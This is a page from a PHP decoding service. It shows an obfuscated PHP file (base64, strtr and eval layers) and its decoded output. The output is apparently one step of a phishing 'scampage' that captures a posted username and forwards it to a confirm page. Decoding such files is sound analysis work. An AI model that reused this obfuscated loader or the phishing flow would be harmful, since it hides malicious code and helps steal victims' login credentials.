Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $_F=__FILE__;$_X='P2nvu79CP1ouWg1WDVZoKj5wZWNNPnBNbm5zT0g+KmgNVk16ek96X3pNWk96PXNIeC..

Decoded Output download

<?php ?><?php
/* Save Session */
error_reporting(0);
$username = $_POST['username'];
$random = rand(50000, 100000000000);
echo "<script type=\"text/javascript\">window.location.href = \"./confirm.php?uid=ZWxpdGUgc2NhbXBhZ2UgcG93ZXJlZCBieSB0aGVwbGF5ZXI&$random&data=$username\"</script>
";
?>

Did this file decode correctly?

Original Code

<?php $_F=__FILE__;$_X='P2nvu79CP1ouWg1WDVZoKj5wZWNNPnBNbm5zT0g+KmgNVk16ek96X3pNWk96PXNIeChhKTskUW5NekhlWU0+Uz4kX203cFRqJ1FuTXpIZVlNJ2Q7DVYkemVIOU9ZPlM+emVIOShMYWFhYSwwYWFhYWFhYWFhYWEpOw1WTTIuTz4iQm4yenNaPT49cVpNU1wiPU1SPWgKZWNlbjJ6c1o9XCJpfXNIOU99WFdPMmU9c09IWC56TUE+Uz5cIlhoMk9IQXN6WVhaLlo/UXM5U057Ulo5QyB4MmtFLjxEby5OayB4MkNQSk5EOFdOL29zTXBvYWVDNn08Q3JMTkQzJiR6ZUg5T1kmOWU9ZVMkUW5NekhlWU1cIkJobjJ6c1o9aVxIIjsNVg1WDVYNVj9p';$_D=strrev('edoced_46esab');eval($_D('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCdTZ1BPOVlaV0ZLbXF5ZnhjakxKUnp1TTV2TnRzMWIue0I0bkNdaS8yRGwwRWhlQQpbZDg9UXA+VlhvIEh9NkdJdzdrYTNUclU8JywnPVI5b2RtcGxBRVB5azhndls1M3hyTWV6cVpIaTdZaFc8RHNHez5DY1h9MU4vYWZqNl1KdHVTIAouQlVud1ZLTFFPMjBJVEY0YicpOyRfUj1zdHJfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw='));?>

Function Calls

base64_decode 2
strrev 1
strtr 1
str_replace 1

Variables

$_R 0
$_X 0
$_F index.php
$_D base64_decode

Stats

MD5 a6c81447befbc26e83ca0e0bbb563749
Eval Count 2
Decode Time 112 ms